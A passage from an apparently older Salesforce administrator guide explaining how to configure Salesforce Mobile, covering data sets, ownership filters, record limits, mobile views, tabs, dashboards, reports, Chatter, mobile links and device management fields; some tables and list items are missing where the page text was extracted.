After creating a mobile configuration, you must define its data sets. To access the data sets for a mobile configuration:
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and click the name of the mobile configuration you
want to modify.
2. In the Data Sets related list, click Edit.
3. From the Data Sets page, you can:
744
Salesforce Mobile Defining Data Sets
When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This
includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object.
For example, assume you created an account field called Primary Contact with a lookup relationship to the contact object.
If you add Account as a top-level data set in a mobile configuration, you see two sets of contacts when you add Contact
below Account:
• Contact: Represents the standard relationship between the account and contact objects.
• Contact (Referenced by Account): Represents any object that is the parent in a lookup or master-detail relationship
for the selected object. In this case, the contact object is referenced by the Primary Contact field on the account object.
745
Salesforce Mobile Defining Data Sets
Because Salesforce.com distinguishes between these two types of relationships, you could, for example, mobilize just the
contacts referenced by a custom account field without sending any child contact records to the device.
4. Click OK. The data set you created appears in the hierarchy.
5. Optionally, use filters to restrict the records that a parent or child data set includes:
a. Use the Filter by Record Ownership options to configure Salesforce.com to automatically synchronize records based
on the owner of the record. The possible options are:
• All Records: Salesforce.com automatically synchronizes all records the user can access. The All Records
option is not available for tasks and events when they are parent data sets in a mobile configuration. This helps
prevent failed data synchronization due to activity filter queries that take too long to run.
• User's Records: Salesforce.com automatically synchronizes all records the user owns.
• User's Team's Records: Salesforce.com automatically synchronizes all records owned by the user and the
user's subordinates in the role hierarchy.
• User's Account Team's Records: Salesforce.com automatically synchronizes accounts for which the user is
an account team member, but does not include accounts owned by the user.
• User's Sales Team's Records: Salesforce.com automatically synchronizes opportunities for which the user
is a sales team member, but does not include opportunities owned by the user.
• None (Search Only): Salesforce.com does not automatically synchronize any records for this data set; however,
users can use their mobile devices to search all of the records they can access.
Salesforce.com only displays options that relate to the selected data set. For example, selecting an account data set
displays the User's Account Team's Records option, while selecting an opportunity data set displays the User's
Sales Team's Records option.
If your mobile needs for an object require a combination of the available record ownership filters, you can add the same
object data set up to four times on the same hierarchy level. For example, a sales manager might want to synchronize
his opportunities, opportunities owned by his subordinates, and opportunities for which he is a sales team member. In
this case, you would add an opportunity data set and select User's Team's Records, then add a second opportunity
data set at the same level in the hierarchy and select User's Sales Team's Records. Note that objects with only
one ownership filter option, such as Case Comment, cannot be added multiple times at the same level of the hierarchy.
b. Set the filter criteria to automatically synchronize only records that meet specific criteria in addition to the Filter by
Record Ownership option you selected. For example, you can set the filter to only include opportunity records with
amounts greater than $50,000, or contact records with the title “Buyer.” You can use special date values in your filter
conditions for mobile configurations. Additionally, several $User global variables are available in mobile filters.
Click Advanced Options to change the default AND relationship between each filter.
c. To prevent a single data set from consuming all the memory on a mobile device, select the second radio button under
Set Max Record Limit and enter the maximum number of records this data set can transfer to mobile devices. Use the
Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded.
If the limit is reached, Salesforce.com updates the records currently on the mobile device approximately every 20
minutes, and replaces the records approximately every 24 hours in accordance with the Order By and Sort settings. For
example, if the settings are Last Modified Date and Descending, Salesforce.com transfers the most recently modified
records to mobile devices and removes the same number of records that were least recently modified.
If you selected the None (Search Only) Filter by Record Ownership option, the limit you set does not apply because
no records are automatically synchronized.
Tip: Do not use Set Max Record Limit in place of filters. Only use Set Max Record Limit as a safety mechanism,
and use filters as the primary means of limiting the number of records on a mobile device. This ensures that
your mobile users receive the correct records on their devices.
Because of the memory restrictions of mobile devices, Salesforce.com prevents a single query from returning more than
2,500 records.
746
Salesforce Mobile Defining Data Sets
6. Be sure to test your mobile configuration to make sure the data does not exceed the total data size limit.
7. Click Done when you are finished.
8. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce.com, which allows you to manage your
organization's mobile devices.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Editing Mobile Object Properties
Managing Mobile Views
Managing Mobile Tabs
Sending Emails to Mobile Users
Managing Mobile Devices
Setting Up Mobile Content
Setting Up Salesforce Chatter for Mobile
Some of the $User merge fields are available when defining filters for mobile configurations and mobile custom views. In
mobile configurations, you can use these merge fields to synchronize records where the user is linked to a record but is not the
record owner. For example, you can send cases created by the current user to the mobile device, or you can send records to the
device where the current user is referenced in a custom field. In mobile views, you can use the merge fields to define view based
on the record owner; for example, you might create a view that displays the current user's accounts with a rating of “Hot”.
The following table describes the available user merge fields:
747
Salesforce Mobile Defining Data Sets
See Also:
Managing Mobile Configurations
Understanding Global Variables
Salesforce Mobile Overview
Sales Manager
Sales managers usually need to see records they own and also the records of their subordinates. They also tend to closely
monitor large deals in the pipeline.
This mobile configuration allows sales managers to see:
• The opportunities they own.
• The opportunities owned by users who report to them in the role hierarchy.
• All opportunities scheduled to close in the current quarter with an amount greater than $100,000.
• All accounts related to the opportunities.
• A subset of their contact and activity records.
748
Salesforce Mobile Defining Data Sets
Sales Engineer
The sales engineer mobile configuration retrieves opportunities owned by the other members of the user's sales team, but does
not include the user's records. The configuration is opportunity-based because all accounts and contacts sent to the device are
related to the opportunities. The sales engineers would see activity history related to the opportunities on the device and also
their own activities.
Account Executive
This account executive mobile configuration is account-based, which means the device pulls down the user's accounts and
opportunities related to those accounts. The opportunities are filtered so that only open opportunities scheduled to close in
the current quarter appear on the device. The Task and Event child data sets retrieve all activities related to those opportunities,
not just the user's activities. Only open tasks and events from a two-month window are sent to the device. The Task and Event
parent data sets pull down just the user's activities and restrict the activities to open tasks and events scheduled for the next
30 days. The Contact data set delivers the user's contact records, but limits the record count to the 500 most recently active
contacts.
749
Salesforce Mobile Testing Mobile Configurations
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
When you create a mobile configuration, you specify a total data size limit for the configuration. The total data size limit
prevents Salesforce.com from sending too much data to the mobile devices of users assigned to the mobile configuration. After
defining the data sets, it is important to test the mobile configuration to make sure the total data size limit is not exceeded.
To estimate the size of the data set that the mobile configuration will deliver to a user's device:
750
Salesforce Mobile Testing Mobile Configurations
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and click the name of the mobile configuration you
want to test.
2. In the Data Sets related list, click Edit.
3. In the Test Data Size section, click the lookup icon next to the Select a user field to choose the user you want to test.
While users must be mobile-enabled in order to assign them to mobile configurations, you can test the configuration's
data size against any user account.
The Select a user field defaults to the name of the user currently logged in; however, it is important to test a mobile
configuration with the accounts of users who will actually be assigned to the configuration, particularly users who own a
large number of records.
4. Select the Include metadata checkbox to include metadata in the estimate. Metadata consists of page layout and schema
information, and the amount of metadata sent to a device can be very high depending on the size of your organization and
the complexity of its setup.
Caution: It might take a while for Salesforce.com to calculate the metadata size in addition to the data size. Even
if you choose to hide the metadata in your test results, the metadata is still factored into the total data size when
the mobile device synchronizes with Salesforce.com.
• In the hierarchy tree, two numbers appear next to each data set. The first represents the number of records generated
by the data set, and the second represents the total size of the data set in bytes or kilobytes. This breakdown is useful
for identifying which data sets might require additional filtering criteria to reduce the size.
• The Test Data Size section provides an estimate of the data that the current mobile configuration would deliver to the
selected user's device, including:
- The user downloads records to his or her device through online searches, and the records are flagged so that
they get sent to the user's device every time the device synchronizes with Salesforce.com.
- Records in the user's data set contain lookup fields to records that do not match the mobile configuration's filter
criteria. Salesforce.com synchronizes the records referenced in the lookup fields so that users do not encounter
broken links in the mobile application.
Tip: For an accurate count of the marked records, synchronize the data in the mobile application before
estimating the data size. To synchronize the data:
- In the BlackBerry application, open the menu and select System Info, then open the menu and select
Refresh All Data.
- In the iPhone application, tap More, then tap App Info. Tap Sync Now, then tap Refresh All Data.
- In the Windows Mobile application, select Options ➤ System Info, then select Actions ➤ Refresh
All Data.
- The size of the metadata that would be sent to the device for the user, if you selected the Include metadata checkbox.
- The total mobilized data set, which is the sum of all the records.
751
Salesforce Mobile Editing Mobile Object Properties
6. Compare the test results to the total data size limit that was set for the configuration; the limit is located in the top of the
Test Data Size section. Click the size limit to increase or decrease the value on the Edit Mobile Configuration page.
• If the total data size is below the limit, the selected user can safely be assigned to the mobile configuration. However,
keep in mind that the test results are an estimate because different devices have different storage algorithms.
• If the total data size exceeds the limit, reduce the size of the data by reducing the scope of your data set, refining the
filter criteria of your data sets, deleting a data set, or removing fields from the mobile page layout. Repeat the testing
process until the data is below the total limit.
Note: The data size estimate in the Test Data Size section does not automatically refresh if you edit the data
sets. Click Refresh Data Size to update the test results.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices
You can change the properties of standard and custom objects in the mobile application. For example, you can restrict the
permissions of mobile users, or you can exclude unnecessary fields from the object's mobile page layout.
Mobile object properties are customized per mobile configuration. To edit mobile object properties:
752
Salesforce Mobile Editing Mobile Object Properties
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Creating Mobile Links
753
Salesforce Mobile Managing Mobile Views
You can create mobile custom views in the Administration Setup that are available to wireless users assigned to a particular
mobile configuration. Mobile custom views are different than Salesforce.com custom views in the following ways:
• Mobile views are set up by the administrator per mobile configuration. The views are available to all users assigned to the
configuration, and administrators cannot restrict visibility to certain groups of users within the configuration. Each mobilized
object in a mobile configuration can have up to ten custom views.
• Mobile views cannot be filtered by All Records or My Records. The views apply to all records stored locally on the device,
regardless of ownership; however, ownership filters can be applied using the additional fields in the search criteria.
• Mobile views do not support advanced filtering options.
• Mobile views are limited to a two-column display.
• Mobile views can be sorted in ascending or descending order by up to two fields.
To manage the custom views for a mobile configuration, click Setup ➤ Mobile Administration ➤ Mobile Configurations,
and then click the name of the mobile configuration. In the Mobile Views related list:
• To see a list of all your custom views, choose All Options in the Select an object drop-down list. You can also use the
Select an object drop-down list to filter the views by object type.
• To create a new mobile view, select the object type from the Select an object drop-down list, and then click New Mobile
View.
• To make changes to a mobile custom view, click Edit next to a view name.
• To delete a mobile custom view, click Del next to a view name.
• To view details about a mobile custom view, click its name.
See Also:
Tips for Entering Filter Criteria
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Devices
754
Salesforce Mobile Managing Mobile Views
For each mobile configuration, you can define up to ten mobile custom views per object that are pushed to the devices of users
assigned to the configuration. To create a mobile custom view:
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
You might need to create a mobile configuration if you haven't already.
2. Scroll down to the Mobile Views related list.
3. Choose an object type from the Select an object drop-down list, and then click New Mobile View. Only objects included
in the mobile configuration's data set appear in the drop-down list. You cannot create mobile views for the user object.
4. Enter the view name.
Because display space on mobile devices is limited, the maximum length of a mobile view name is 30 characters.
5. In the Specify Filter Criteria section, enter conditions that the selected items must match, for example, Amount is
greater than $100,000.
b. Choose an operator. For descriptions of each operator, see Filter Operators on page 2169.
c. In the third field, enter the value to match.
Caution: Note the following about filter criteria values for mobile views:
• You can use the $User.ID merge field as a value in your filter criteria to reference the current user. You
can't enter user names in your filter criteria.
• You can only enter special date values in your filter criteria, not actual dates.
• You can't use FISCAL special date values in the filter criteria.
d. Select Match All if items in the mobile view should match all the criteria you entered. Select Match Any if items in
the mobile view should match any of the criteria you entered. Mobile custom views do not support advanced filtering
options.
6. In the Select Fields to Display section, select the fields to use as display columns.
The default fields are automatically selected. You can choose up to two different columns of data fields to display in your
mobile custom view.
755
Salesforce Mobile Managing Mobile Tabs
7. In the Define Sort Order section, optionally set a primary and secondary sort order for the view.
a. Select a field in the Order By drop-down list. You can sort by fields that have been excluded from the object's mobile
page layout.
b. Set the sort order to Ascending or Descending.
8. Click Save.
See Also:
Managing Mobile Views
Managing Mobile Configurations
Managing Mobile Devices
For each mobile configuration, you can select the tabs that appear in the mobile application and define the order of the tabs.
The available tabs for a mobile configuration include:
By default, tabs in the mobile application reflect the Salesforce.com website—if an object's tab is hidden on the website, it is
hidden in the mobile application. However, if the tab is exposed in at least one Salesforce.com application that is available to
the user on the website, then the tab is available to the user in the mobile application.
Note: If you customize mobile tabs, the tabs you select for the mobile configuration are sent to users' mobile devices
even if the tabs have not been added to an application. Although the tabs are sent to the device, they only display in
the mobile application if users have permission to view the tab.
There are several reasons you might want to hide an object's tab in the mobile application even though the object records are
sent to the device. The mobile application has much less screen space to display a row of tabs, so occasionally administrators
choose to reduce the amount of tabs on the device. Also, sometimes a custom object has a relationship to a standard object,
and users access the custom object record from the parent object record. In that case, you could mobilize the custom object
but hide the tab.
756
Salesforce Mobile Managing Mobile Tabs
To begin managing the tabs for a mobile configuration, click Setup ➤ Mobile Administration ➤ Mobile Configurations,
and then click the name of a mobile configuration.
• To view the tabs for a mobile configuration, scroll down to the Mobile Tabs related list. If you have not customized the
configuration's tabs, the related list displays a message indicating that the default tab behavior is used for the configuration.
• To select the tabs and define their order for the first time, click Customize Tabs. See Customizing Mobile Tabs on page
757.
• To change the tab setup for a mobile configuration, click Edit.
• To delete the mobile tab setup and use the default tab behavior, click Reset to Default.
• To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 1611 and Creating Web Tabs on page 1397.
Caution: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best
practices for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
3. Select tabs from the Available Tabs list, and click the Add arrow to add them to the mobile configuration.
The Available Tabs list includes standard object tabs and custom object tabs. It also includes web and Visualforce tabs that
have been enabled for the mobile application. To enable Visualforce or web tabs for mobile users, edit the properties of
the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 1611 and Creating Web Tabs on
page 1397.
757
Salesforce Mobile Managing Mobile Tabs
Note: Not all websites and Visualforce features are supported on mobile devices. Carefully review the best practices
for creating mobile-friendly pages before enabling Visualforce or web tabs for the mobile application.
4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear
in the mobile application.
5. Click Save.
Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their
tab order, any administrator changes to the tab order in the mobile configuration are ignored by the client application,
and any newly mobilized tabs are added below the user's existing tabs.
See Also:
Managing Mobile Tabs
Salesforce Mobile Overview
Managing Mobile Configurations
You can make web and Visualforce tabs available in the mobile application. When you build the web tab or Visualforce tab,
select the Mobile Ready checkbox in the wizard to verify that the web page or Visualforce page displays and functions properly
on a mobile phone. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations.
It is important to note that most mobile browsers have technical limitations concerning display size, scripts, processor speed,
and network latency. Review the following considerations before mobilizing your web and Visualforce pages to ensure that
they are compatible with mobile browsers.
• Before mobilizing the web tab, navigate to the target URL on one of your organization's mobile devices to verify that it
works as expected in a mobile browser. In the event that your organization's device inventory includes phones with different
operating systems—for example, both iPhones and BlackBerry smartphones—be sure to test on each type of device. If
users cannot accomplish the necessary tasks on the web page from a mobile browser, do not mobilize the web tab.
758
Salesforce Mobile Managing Mobile Tabs
• In order for BlackBerry users to view JavaScript web pages, JavaScript must be enabled on the smartphones. The BlackBerry
administrator can globally enable JavaScript from the BlackBerry Enterprise Server. Users can also enable JavaScript on a
BlackBerry smartphone by opening the BlackBerry browser, selecting Options ➤ Browser Configuration, and then
selecting the Support JavaScript checkbox.
759
Salesforce Mobile Setting Up Mobile Dashboards
• User agent inspection can be executed in a custom controller to support multiple devices. You can do this by inspecting
the appropriate result of the getHeaders() method on the current page reference.
See Also:
Managing Mobile Tabs
Managing Mobile Configurations
Supported Devices for Mobile
Creating Mobile Links
You can make the Dashboards tab available in Salesforce Mobile by adding it to the tabs for a mobile configuration. Mobile
dashboards allow field users to keep up with corporate metrics and key performance indicators even when they are away from
their desks.
Note the following about mobile dashboards:
• The Dashboards tab in the mobile application launches an embedded browser to display the dashboards.
• Due to screen size limitations, mobile dashboards display in a single column.
• Links to custom report details are disabled in mobile dashboards.
• The first time a user visits the Dashboards tab in Salesforce Mobile, the mobile application requests the last dashboard
the user viewed on the Salesforce.com website. Depending on the strength of the cellular or WiFi signal, it could take
several minutes before the dashboard displays on the page.
• Dashboards do not automatically refresh in the mobile application. Users can request a dashboard refresh by clicking the
Refresh button.
• Users are able to work offline in the mobile application. Without a wireless connection, users can see the last viewed
dashboard, but they cannot refresh the dashboard or select a different one.
• The minimum BlackBerry operating system requirement for mobile dashboards is 4.5. Mobile dashboards are compatible
with version 4.3, but tables in the dashboards might not display properly.
• BlackBerry administrators should be aware that the download size setting on the BlackBerry Enterprise Server affects how
much dashboard data can be pushed to the device. Check that the download size setting is appropriate, and be sure to test
your dashboards before deploying them to your mobile users.
760
Salesforce Mobile Setting Up Mobile Reports
Note: Currently, dashboards are only available in the BlackBerry and iPhone mobile client applications.
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
3. Select Dashboards from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The
Available Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Dashboards tab.
4. In the Selected Tabs list, choose the Dashboards tab and click the Up and Down arrows to define where the Dashboards
tab should appear in the mobile application.
5. Click Save.
To enable reports for the mobile application, create a Mobile Reports folder in Salesforce.com, add reports to the folder, then
add the Reports tab to your mobile configurations. To enable reports:
1. From the reports home page in Salesforce.com, click Create New Folder.
2. In the Report Folder field, enter: Mobile Reports.
The server does not load reports on the mobile device unless the folder is named Mobile Reports. Be sure to check for
any typos in the name before saving the folder. Additionally, Salesforce.com does not require folder names to be unique.
Mobile users can see any report stored in folders named Mobile Reports unless you restrict access with the folder visibility
option.
3. Choose a Public Folder Access option. This option does not affect the ability of mobile users to run reports.
4. Optionally, select any unfiled reports and click Add to store them in the Mobile Reports folder. You can also add reports
to the folder after saving the folder.
5. Choose a folder visibility option.
• This folder is accessible by all users gives every user in your organization the ability to see the list of
mobile reports from their devices.
• This folder is accessible only by the following users lets you grant access to a desired set of users.
761
Salesforce Mobile Setting Up Mobile Content
Do not make the folder private unless you want to hide mobile reports from all users, including yourself.
6. Click Save.
7. To add a report to the Mobile Reports folder, click the report name on the reports home page, and then click Save As.
Save the report in the Mobile Reports folder.
After saving the report, you can edit the options to make the report easier to view on a mobile device. For example, you
might reduce the number of columns or enter additional filtering criteria.
8. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
9. In the Mobile Tabs related list, click Customize Tabs to define mobile tabs for the first time. If you have already set up
the mobile tabs, click Edit.
10. Select Reports from the Available Tabs list, and click the Add arrow to add it to the mobile configuration. The Available
Tabs list includes standard object tabs and custom object tabs. It can also include web and Visualforce tabs.
Caution: If you have not yet customized tabs in the mobile configuration, you must select all the tabs that should
appear in the mobile application, not just the Reports tab.
11. In the Selected Tabs list, choose the Reports tab and click the Up and Down arrows to define where the Reports tab should
appear in the mobile application.
12. Click Save.
Note: Reports are not currently available in Salesforce Mobile for iPhone.
You can set up the mobile application so that your users are able to share content with customers and colleagues directly from
their mobile devices. When you mobilize the content object in your organization's mobile configurations, the Content tab
appears in the mobile application.
Note the following about how Salesforce CRM Content is implemented in the mobile application:
• Content record information is synchronized to the device; however, the files associated with the content records are not.
This allows users to deliver content from the mobile application even when a file is too large to be downloaded to a mobile
device.
762
Salesforce Mobile Overview of Salesforce Chatter for Mobile
• Users can't search for a specific piece of content in the mobile application. They can only share the content available on
the Content tab, which is automatically synchronized to their device based on the filters in their assigned mobile
configuration.
• Users can't view a list of their subscribed content in the mobile application. They also can't filter the list of records on the
Content tab based on a particular workspace.
• While users can preview and share content from the mobile application, they can't update the file associated with a content
record. If they have the required permissions, they can edit the fields on the content detail page.
• Users must be in wireless coverage to preview and deliver content. Without a wireless connection, they can only view the
content detail page.
• Content is only supported by the BlackBerry and iPhone mobile client applications.
• Content is not available in Mobile Lite, which is the free version of the mobile application.
• You can't block mobile permissions for the content object. Currently, the content object in the mobile application is
read-only.
• You can't edit the mobile page layout for the content object. The content detail page in the mobile application is hard-coded
to display only a few fields.
To set up Content for the mobile application:
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Data Sets related list, click Edit.
3. Click Add....
4. In the popup window, select Content, then click OK.
5. Use field filters to specify which content records are synchronized.
Because users can't search for content in the mobile application, it's essential to set up filters that make important content
available on the device. You can't create filters based on workspaces or subscriptions, but here are a few options for setting
up useful filter conditions:
• Date: Filter on the Last Modified Date, Content Modified Date, or Created Date fields. Use special date
values like LAST 90 DAYS or LAST 180 DAYS to ensure that recently updated content records are synchronized.
• Owner: Filter on the author if certain people in your organization are responsible for publishing content.
• File Type: Filter on certain types of documents. For example, your sales team might generally be interested in
presentations or PDF documents.
• Custom Fields: If you created custom content fields that help you categorize your content, filter on the custom fields.
For example, if you built a Functional Use field with picklist values, you could set up a filter condition where
Functional Use equals Sales.
6. Optionally prevent content records from consuming all the memory on a mobile device by selecting the second radio button
under Set Max Record Limit and entering the maximum number of content records this configuration can transfer to
mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit
is exceeded.
7. Click Done when you're finished.
8. Optionally modify other mobile configurations and mobilize the content object.
763
Salesforce Mobile Overview of Salesforce Chatter for Mobile
Note: Chatter Mobile is currently available through a pilot program. For information on enabling Chatter Mobile
for your organization, contact salesforce.com.
Salesforce Chatter is a collaboration application that helps you connect with your coworkers and share business information
securely and in real time.
If you're away from your desk, use Chatter in the mobile application on your BlackBerry or iPhone to stay connected with
coworkers. An administrator must enable Chatter for Salesforce Mobile users; Chatter doesn't require setup for Mobile Lite
users.
Salesforce Chatter in the mobile application consists of the Chatter, Profile, and People tabs. The feed that displays on the
online application's Home tab appears on the mobile application's Chatter tab.
Not all of the functionality in Chatter is available from your mobile device. In the mobile application, you can:
See Also:
Setting Up Salesforce Chatter for Mobile
Salesforce Chatter Overview
Salesforce Mobile Overview
Mobile Lite Overview
Supported Devices for Mobile
Installing the Mobile Application
Managing Mobile Configurations
764
Salesforce Mobile Setting Up Salesforce Chatter for Mobile
Note: Chatter Mobile is currently available through a pilot program. For information on enabling Chatter Mobile
for your organization, contact salesforce.com.
Salesforce Chatter is a collaboration application that lets you connect with your coworkers and share business information
securely and in real time. When you're away from your desk, you can use Chatter from your mobile device.
Chatter is automatically available in Mobile Lite. You can enable Mobile Lite for your organization by editing your mobile
settings. The mobile settings also let you control whether Mobile Lite users have access to all available CRM tabs, or just to
dashboards and Chatter.
Mobilizing feeds in your organization's mobile configurations enables Chatter in Salesforce Mobile. To enable Chatter for
Salesforce Mobile:
1. Click Setup ➤ Mobile Administration ➤ Mobile Configurations, and then click the name of a mobile configuration.
2. In the Data Sets related list, click Edit.
3. Click Add....
4. In the popup window, select News Feed, then click OK.
5. Enter the maximum number of updates across all feeds that this configuration can transfer to mobile devices:
a. The value defaults to 100, but you can enter any number up to 100.
b. Use the Order By drop-down list to specify which records are synchronized. You can order by the Last Feed
Activity Date or Created Date fields. Updates are sorted chronologically in descending order; you can't change
the sort order.
If the limit is reached, Salesforce.com synchronizes the updates in accordance with the Order By and Sort settings. For
example, if the settings are Created Date and Descending, Salesforce.com transfers the most recently created updates
to mobile devices and removes the same number of updates that were least recently created.
765
Salesforce Mobile Creating Mobile Links
8. Optionally reorder the tabs in the mobile application. If you add Chatter feeds to a mobile configuration, you can't remove
any Chatter tabs from that configuration, but you can change the tab order.
See Also:
Overview of Salesforce Chatter for Mobile
Salesforce Chatter Overview
Salesforce Mobile Overview
Mobile Lite Overview
Customizing Mobile Settings
Defining Data Sets
Managing Mobile Tabs
1. Create a custom field by navigating to the fields area of the appropriate object:
• For standard objects, click Setup ➤ Customize, then select the appropriate object from the Customize menu, and
click Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
2. Click New in the Custom Fields & Relationships section of the page.
3. Select Formula, then click Next.
4. Enter the field label.
The field name is automatically populated based on the field label you enter.
5. Select Text, then click Next.
6. In the formula editor, create the link to the custom Visualforce page or external website:
• To create a Visualforce link, type "visualforce:///apex/PageName", and replace PageName with the name
of your Visualforce page. You can append parameters to the string, such as ?contactid=" & Id", in order to pass
information from the record in the client application to the Visualforce page.
• To create a Web link, type "weblink:", followed by the URL to which you want the link to point, such as
"weblink:http://www.salesforce.com". You can append parameters to the string in order to pass information
from the record in the client application to the Web page. For example, the following Web link launches a social
networking site from a contact record and performs a search for the contact:
766
Salesforce Mobile Sending Emails to Mobile Users
Note: The client application passes the Visualforce or Web link with all parameters to the embedded browser.
It is up to the website or Visualforce Mobile page to interpret any parameters. Be sure to construct your
Visualforce Mobile page to consume any parameters passed in the link.
7. Click Next.
8. Set the field-level security to determine whether the field should be visible or read only for specific profiles, and click Next.
9. Choose the page layouts that should display the field. In the next step, you will customize the layout to change the location
of the field on the page.
10. Click Save.
11. Edit the object's page layout:
• For standard object page layouts, select Setup ➤ Customize, select the object, and choose the Page Layouts link. Click
Edit next to the name of the page layout you want to modify.
• For custom object page layouts, select Setup ➤ Create, select the object, and scroll to the Page Layouts section. Click
Edit next to the name of the page layout you want to modify.
12. Drag a Section element from the palette to the page layout and drop it below the existing sections.
13. In the Section Name field, type Mobile Links.
14. Deselect the Edit Page option.
15. Select the 1-column layout, then click OK.
16. Drag the new text formula field from its current location into the new Mobile Links section.
17. Click Save.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Visualforce Overview
When you're ready to deploy the mobile application to your users, send them an email to notify them about the availability of
the application and provide installation instructions. You can send the email using your corporate email application, like
Outlook, or you can send mass email from Salesforce.com. Either way, include the URL that launches the download:
• For BlackBerry and Windows mobile users, the download URL is mobile.salesforce.com. The link is the same for
the initial download and for subsequent upgrades.
• You can obtain the iPhone download URL from iTunes. Open iTunes, click iTunes Store, then search for Salesforce
Mobile. Click the application icon to view details about the app. At the top of the iTunes window is a bread crumb path
767
Salesforce Mobile Managing Mobile Devices
representing the application's location in the App Store: App Store ➤ Business ➤ Salesforce Mobile. Drag-and-drop
the path into a text editor or word processing program to display the download URL for the application.
1. Create an email template informing users about the initial installation. Optionally, create a separate email template for
upgrade notifications. Include the download link in the templates.
2. Create a custom view on the Mass Email page showing only mobile users.
Note: The Mobile User checkbox indicates that users have a mobile license, and a mobile license enables them
to use Salesforce Mobile, which is the full version of the mobile application. Mobile Lite users do not need a mobile
license to use the mobile application, so you must use different filter criteria to create a view for Mobile Lite users.
Try filtering based on roles or profiles instead.
3. Send mass email to your mobile users using the custom view that you created.
After a user installs the mobile application on their wireless device and logs in for the first time, Salesforce.com collects the
device information and associates the device with the user's record. The device information is read only. While the device
entry is created automatically, you can still view and manage all the mobile users and devices in your organization by clicking
Setup ➤ Mobile Administration ➤ Mobile Users and Devices.
From the All Mobile Users and Devices page:
• You can view the list of users in your organization who have been enabled to use Salesforce Mobile.
• You can create custom list views to see different subsets of your mobile users (see Creating Custom List Views on page
219). For example, create a view that shows the mobile users who have never logged in to Salesforce.com from their devices
to evaluate your organization's mobile deployment efforts.
• To view details about a mobile device, click the device address. See Viewing Mobile Device Information on page 769.
• To view details about a specific user, click the username.
• To view details about a mobile configuration, click the mobile configuration name.
• The buttons on the All Mobile Users and Devices page let you perform actions on multiple mobile users at one time. You
can:
768
Salesforce Mobile Managing Mobile Devices
• To find out why a user's device is not synchronizing, hover your mouse over the red error icon in the Status column.
Additional information about the synchronization errors appears on the device's detail page. See Viewing Mobile Device
Information on page 769.
Note: You can also manage mobile users from the Assigned Mobile Devices related list on the user detail page.
See Also:
Supported Devices for Mobile
Sending Emails to Mobile Users
Salesforce Mobile Overview
Managing Mobile Configurations
Salesforce.com collects information about a mobile user's device the first time the user logs in to the mobile application. There
are two ways to access the device details:
• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices, and then click a device address in the list view.
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the Assigned
Mobile Devices related list.
Below is a description of the fields in alphabetical order that are stored for each mobile device in your organization.
Field Description
Brand The brand of the mobile device, if available.
Carrier The name of the carrier providing service for the mobile device,
if available.
Connected Since The date and time the device established a connection to the
mobile server. The device loses a connection when the battery
dies or when the session is closed because the server has not
received data from the device for a long period of time.
769
Salesforce Mobile Managing Mobile Devices
Field Description
Connection Status The state of the device connection. Possible values for this
field are Connected, Not Connected, and Not Available.
Created By The name of the first user who registered the mobile device
and the time and date the registration occurred.
Data Size The size of the Salesforce.com data currently stored on the
user's mobile device. The mobile device periodically sends this
information to Salesforce.com, which is helpful when
troubleshooting synchronization errors resulting from an
exceeded data limit.
Device Address The unique PIN of the user's mobile device.
Device Model The model of the mobile device.
Is Simulator? A flag indicating whether the device is a simulator or a mobile
device. A simulator is a software application that emulates the
behavior of a mobile device.
Last Activated The last time a full data set was downloaded to the mobile
device. If a user's data set exceeds the limit defined in the
assigned mobile configuration, the device can be registered
but not activated.
Last Data Received The last time data was received from the device. This
information is helpful for troubleshooting connection issues.
Last Registration The last time a user registered the mobile device. The
registration process creates the device record in Salesforce.com
and associates it with the user who registered it.
Last Status Date The last time the mobile device notified Salesforce.com that
the device is no longer synchronizing data due to an error.
The Last Status Date field is only visible when an error
is present.
Manufacturer The manufacturer of the mobile device.
Metadata Size The size of the Salesforce.com metadata currently stored on
the user's mobile device. Metadata consists of page layout and
schema information, and the amount of metadata sent to a
device can be very high depending on the size of your
organization and the complexity of its setup.
Modified By The name of the last user who registered the mobile device
and the time and date the registration occurred.
Number of Pending Outgoing Messages The number of messages queued on the mobile server waiting
to be sent to the device.
Operating System The type of operating system installed on the mobile device:
BlackBerry, iPhone, or Windows Mobile.
